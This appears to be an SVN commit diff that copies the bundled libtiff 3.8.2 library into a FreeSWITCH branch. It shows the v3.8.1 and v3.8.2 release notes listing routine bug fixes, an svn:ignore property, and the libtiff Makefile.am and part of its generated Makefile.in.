+	YCbCr images in jpeg compressed TIFF files.
+
+</UL>
+
+Last updated $Date: 2006/01/04 23:38:38 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.8.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,217 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.8.1
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.8.1<BR>
+<B>Previous Version</B>: <A HREF=v3.8.0.html>v3.8.0</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<UL>
+	<li> Bug-fix release.
+</UL>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<li> libtool related stuff updated from the 2.1a branch.
+
+	<li> Fix with_default_strip_size comparison as reported by
+	Norihiko Murase.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+
+	<li> tif_dirread.c: Fixed error reporting in TIFFFetchAnyArray()
+	function as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1102">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1102</a>
+
+	<li> tif_jpeg.c, tif_pixarlog.c, tif_fax3.c, tif_zip.c:
+	Properly restore setfield/getfield methods in cleanup functions. As
+	per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1102">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1102</a>
+
+	<li> tif_lzw.c, tif_pixarlog.c, tif_zip.c: Use
+	TIFFPredictorCleanup() in codec cleanup methods. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1102">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1102</a>
+
+	<li> tif_predict.c, tif_predict.h: Added new function
+	TIFFPredictorCleanup() to restore parent decode/encode/field methods.
+
+	<li> tif_dirread.c: Fixed integer overflow condition in
+	TIFFFetchData() function. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1102">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1102</a>
+
+	<li> tif_ojpeg.c: Set the ReferenceBlackWhite with the
+	TIFFSetField() method, not directly. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1043">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1043</a>
+
+	<li> tif_write.c: Small code rearrangement in TIFFWriteScanline()
+	to avoid crash as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1081">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1081</a>
+
+	<li> tif_dirwrite.c: Properly write TIFFTAG_DOTRANGE tag as per
+	bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1088">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1088</a>
+
+	<li> tif_print.c: Properly read TIFFTAG_PAGENUMBER,
+	TIFFTAG_HALFTONEHINTS, TIFFTAG_YCBCRSUBSAMPLING and TIFFTAG_DOTRANGE
+	tags as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1088">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1088</a>
+
+	<li> tif_tile.c: Fix error reporting in TIFFCheckTile() as per
+	bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1063">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1063</a>
+
+	<li> tif_color.c: Avoid overflow in case of wrong input as per
+	bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1065">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1065</a>
+
+	<li> tif_dirinfo.c: Use TIFF_NOTYPE instead of 0 when
+	appropriate. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1033">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1033</a>
+
+	<li> tif_aux.c: Fixed type of temporary variable in
+	_TIFFCheckMalloc() as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=103">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=103</a>
+
+	<li> tif_aux.c: Return static array when fetching default
+	YCbCrCoefficients (another problem, reported a the
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1029">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1029</a>
+	entry).
+
+	<li> tif_dir.c: Special handling for PageNumber, HalftoneHints,
+	YCbCrSubsampling and DotRange tags as per bugs
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1029">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1029</a>
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1034">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1034</a>
+
+	<li> tif_dirread.c: Use _TIFFGetExifFieldInfo() instead of
+	_TIFFGetFieldInfo() in TIFFReadEXIFDirectory() call as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1026">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1026</a>
+
+	<li> tif_dirinfo.c: Change definitions for TIFFTAG_ICCPROFILE,
+	TIFFTAG_PHOTOSHOP, TIFFTAG_RICHTIFFIPTC, TIFFTAG_XMLPACKET:
+	readcount should be uint32 value.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<li> ppm2tiff.c: Added support for PBM files as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1044">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1044</a>
+
+	<li> tiff2pdf.c: Functions t2p_sample_rgbaa_to_rgb() and
+	t2p_sample_rgba_to_rgb() was used in place of each other, that was
+	resulted in problems with RGBA images with associated alpha.
+	As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1097">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1097</a>
+
+	<li> tiff2ps.c: Properly scale all the pages when converting
+	multipage TIFF with /width/height/center options set. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1080">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1080</a>
+
+	<li> tiff2pdf.c: Do not create output file until all option checks
+	will be done. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1072">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1072</a>
+
+	<li> bmp2tiff.c: Added ability to create multipage TIFFs from the
+	list of input files as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1077">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1077</a>
+
+	<li> tiffgt.c: Avoid crashing in case of image unsupported by
+	TIFFRGBAImage interface.
+
+	<li> tiff2pdf.c: Fixed support for non-YCbCr encoded JPEG
+	compressed TIFF files, per submission from Dan Cobra.
+
+	<li> bmp2tiff, pal2rgb, ppm2tiff, ras2tiff, raw2tiff, sgi2tiff,
+	tiff2bw, tiffcp: Fixed jpeg option processing so -c jpeg:r:50 works
+	properly as per bug:
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1025">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1025</a>
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+</UL>
+
+Last updated $Date: 2006/03/13 14:52:12 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.2.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.2.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.8.2.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.2.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.2.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,137 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.8.2
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.8.2<BR>
+<B>Previous Version</B>: <A HREF=v3.8.1.html>v3.8.1</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<UL>
+	<li> Bug-fix release.
+</UL>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+
+	<li> tools/Makefile.am: Use runtime paths linker flags when rpath
+	option enabled.
+
+	<li> Makefiles improvements as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1128">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1128</a>
+
+	<li> Fixed win32 I/O functions usage as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1127">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1127</a>
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+	<li> tif_strip.c: Take subsampling in account when calculating
+	TIFFScanlineSize().
+
+	<li> tif_jpeg.c, tif_fax3.c, tif_zip.c, tif_pixarlog.c,
+	tif_lzw.c, tif_luv.c: Use _TIFFSetDefaultCompressionState() in all
+	codec cleanup methods. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1120">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1120</a>
+	
+	<li> tif_jpeg.c: Do not cleanup codec state in TIFFInitJPEG(). As
+	per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1119">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=1119</a>
+
+	<li> tif_dir.c: Use double type instead of dblparam_t.
+
+	<li> tif_dirread.c: Do not check the PlanarConfig tag presence
+	in TIFFReadDirectory, because it is always set at the start of
+	function and we allow TIFFs without that tag set.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<li> tiffcp.c: Do not set RowsPerStrip bigger than image length.
+
+	<li> fax2tiff.c: Fixed wrong TIFFerror() invocations as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1125">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1125</a>
+
+	<li> fax2ps.c: Fixed reading the input stream from stdin as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1124">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1124</a>
+
+	<li> raw2tiff.c: Do not set RowsPerStrip larger than ImageLength.
+	As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1110">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1110</a>
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+</UL>
+
+Last updated $Date: 2006/03/23 14:54:01 $.
+
+</BODY>
+</HTML>

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff


Name: svn:ignore
   + tif_config.h
tiffconf.h
.deps
Makefile
stamp-h1
stamp-h2

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,138 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+LIBPORT = $(top_builddir)/port/libport.la
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+
+EXTRA_DIST = Makefile.vc SConstruct tif_config.h.vc tiffconf.h.vc libtiff.def \
+	     $(EXTRA_SRCS)
+
+HDRS = \
+	tiff.h \
+        tiffconf.h \
+	tiffio.h \
+	tiffvers.h
+
+if HAVE_CXX
+HDRS +=	tiffio.hxx
+endif
+
+EXTRA_HDRS = \
+	t4.h \
+	tif_dir.h \
+	tif_predict.h \
+	tiffiop.h \
+	uvcode.h
+
+SRCS = \
+	tif_aux.c \
+	tif_close.c \
+	tif_codec.c \
+	tif_color.c \
+	tif_compress.c \
+	tif_dir.c \
+	tif_dirinfo.c \
+	tif_dirread.c \
+	tif_dirwrite.c \
+	tif_dumpmode.c \
+	tif_error.c \
+	tif_extension.c \
+	tif_fax3.c \
+	tif_fax3sm.c \
+	tif_flush.c \
+	tif_getimage.c \
+	tif_jpeg.c \
+	tif_luv.c \
+	tif_lzw.c \
+	tif_next.c \
+	tif_ojpeg.c \
+	tif_open.c \
+	tif_packbits.c \
+	tif_pixarlog.c \
+	tif_predict.c \
+	tif_print.c \
+	tif_read.c \
+	tif_strip.c \
+	tif_swab.c \
+	tif_thunder.c \
+	tif_tile.c \
+	tif_unix.c \
+	tif_version.c \
+	tif_warning.c \
+	tif_write.c \
+	tif_zip.c
+
+SRCSXX = \
+	tif_stream.cxx
+
+EXTRA_SRCS = \
+	tif_acorn.c \
+	tif_apple.c \
+	tif_atari.c \
+	tif_msdos.c \
+	tif_next.c \
+	tif_win3.c \
+	tif_win32.c
+
+libtiffincludedir = $(includedir)
+libtiffinclude_HEADERS = $(HDRS)
+noinst_HEADERS = $(EXTRA_HDRS)
+
+lib_LTLIBRARIES = libtiff.la
+if HAVE_CXX
+lib_LTLIBRARIES += libtiffxx.la
+endif
+
+libtiff_la_SOURCES = $(SRCS)
+libtiff_la_LDFLAGS = \
+	-no-undefined \
+	-version-number $(LIBTIFF_VERSION_INFO)
+if HAVE_RPATH
+libtiff_la_LDFLAGS += $(LIBDIR)
+endif
+libtiff_la_LIBADD = $(LIBPORT)
+
+libtiffxx_la_SOURCES = $(SRCSXX)
+libtiffxx_la_LDFLAGS = \
+	-no-undefined \
+	-version-number $(LIBTIFF_VERSION_INFO)
+if HAVE_RPATH
+libtiffxx_la_LDFLAGS += $(LIBDIR)
+endif
+libtiffxx_la_LIBADD = $(LIBTIFF) $(LIBPORT)
+libtiffxx_la_DEPENDENCIES = libtiff.la
+
+#
+# The finite state machine tables used by the G3/G4 decoders
+# are generated by the mkg3states program.  On systems without
+# make these rules have to be manually carried out.
+#
+noinst_PROGRAMS = mkg3states
+mkg3states_SOURCES = mkg3states.c tif_fax3.h
+mkg3states_LDADD = $(LIBPORT)
+
+faxtable: mkg3states
+	(rm -f tif_fax3sm.c && ./mkg3states -b -c const tif_fax3sm.c)
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,763 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+@HAVE_CXX_TRUE@am__append_1 = tiffio.hxx
+@HAVE_CXX_TRUE@am__append_2 = libtiffxx.la
+@HAVE_RPATH_TRUE@am__append_3 = $(LIBDIR)
+@HAVE_RPATH_TRUE@am__append_4 = $(LIBDIR)
+noinst_PROGRAMS = mkg3states$(EXEEXT)
+subdir = libtiff
+DIST_COMMON = $(am__libtiffinclude_HEADERS_DIST) $(noinst_HEADERS) \
+	$(srcdir)/Makefile.am $(srcdir)/Makefile.in \
+	$(srcdir)/tif_config.h.in $(srcdir)/tiffconf.h.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = tif_config.h tiffconf.h
+CONFIG_CLEAN_FILES =
+am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
+am__vpath_adj = case $$p in \
+    $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
+    *) f=$$p;; \
+  esac;
+am__strip_dir = `echo $$p | sed -e 's|^.*/||'`;
+am__installdirs = "$(DESTDIR)$(libdir)" \
+	"$(DESTDIR)$(libtiffincludedir)"
+libLTLIBRARIES_INSTALL = $(INSTALL)
+LTLIBRARIES = $(lib_LTLIBRARIES)
+am__DEPENDENCIES_1 = $(top_builddir)/port/libport.la
+libtiff_la_DEPENDENCIES = $(am__DEPENDENCIES_1)
+am__objects_1 = tif_aux.lo tif_close.lo tif_codec.lo tif_color.lo \
+	tif_compress.lo tif_dir.lo tif_dirinfo.lo tif_dirread.lo \
+	tif_dirwrite.lo tif_dumpmode.lo tif_error.lo tif_extension.lo \
+	tif_fax3.lo tif_fax3sm.lo tif_flush.lo tif_getimage.lo \
+	tif_jpeg.lo tif_luv.lo tif_lzw.lo tif_next.lo tif_ojpeg.lo \
+	tif_open.lo tif_packbits.lo tif_pixarlog.lo tif_predict.lo \
+	tif_print.lo tif_read.lo tif_strip.lo tif_swab.lo \
+	tif_thunder.lo tif_tile.lo tif_unix.lo tif_version.lo \
+	tif_warning.lo tif_write.lo tif_zip.lo
+am_libtiff_la_OBJECTS = $(am__objects_1)
+libtiff_la_OBJECTS = $(am_libtiff_la_OBJECTS)
+am__DEPENDENCIES_2 = $(top_builddir)/libtiff/libtiff.la
+am__objects_2 = tif_stream.lo
+am_libtiffxx_la_OBJECTS = $(am__objects_2)
+libtiffxx_la_OBJECTS = $(am_libtiffxx_la_OBJECTS)
+@HAVE_CXX_TRUE@am_libtiffxx_la_rpath = -rpath $(libdir)
+PROGRAMS = $(noinst_PROGRAMS)
+am_mkg3states_OBJECTS = mkg3states.$(OBJEXT)
+mkg3states_OBJECTS = $(am_mkg3states_OBJECTS)
+mkg3states_DEPENDENCIES = $(am__DEPENDENCIES_1)
+DEFAULT_INCLUDES = -I. -I$(srcdir) -I. -I.
+depcomp = $(SHELL) $(top_srcdir)/config/depcomp
+am__depfiles_maybe = depfiles
+COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+	$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+LTCOMPILE = $(LIBTOOL) --tag=CC --mode=compile $(CC) $(DEFS) \
+	$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \
+	$(AM_CFLAGS) $(CFLAGS)
+CCLD = $(CC)
+LINK = $(LIBTOOL) --tag=CC --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(AM_LDFLAGS) $(LDFLAGS) -o $@
+CXXCOMPILE = $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \
+	$(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS)
+LTCXXCOMPILE = $(LIBTOOL) --tag=CXX --mode=compile $(CXX) $(DEFS) \
+	$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \
+	$(AM_CXXFLAGS) $(CXXFLAGS)
+CXXLD = $(CXX)
+CXXLINK = $(LIBTOOL) --tag=CXX --mode=link $(CXXLD) $(AM_CXXFLAGS) \
+	$(CXXFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@
+SOURCES = $(libtiff_la_SOURCES) $(libtiffxx_la_SOURCES) \
+	$(mkg3states_SOURCES)
+DIST_SOURCES = $(libtiff_la_SOURCES) $(libtiffxx_la_SOURCES) \
+	$(mkg3states_SOURCES)
+am__libtiffinclude_HEADERS_DIST = tiff.h tiffconf.h tiffio.h \
+	tiffvers.h tiffio.hxx
+libtiffincludeHEADERS_INSTALL = $(INSTALL_HEADER)
+HEADERS = $(libtiffinclude_HEADERS) $(noinst_HEADERS)
+ETAGS = etags
+CTAGS = ctags
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
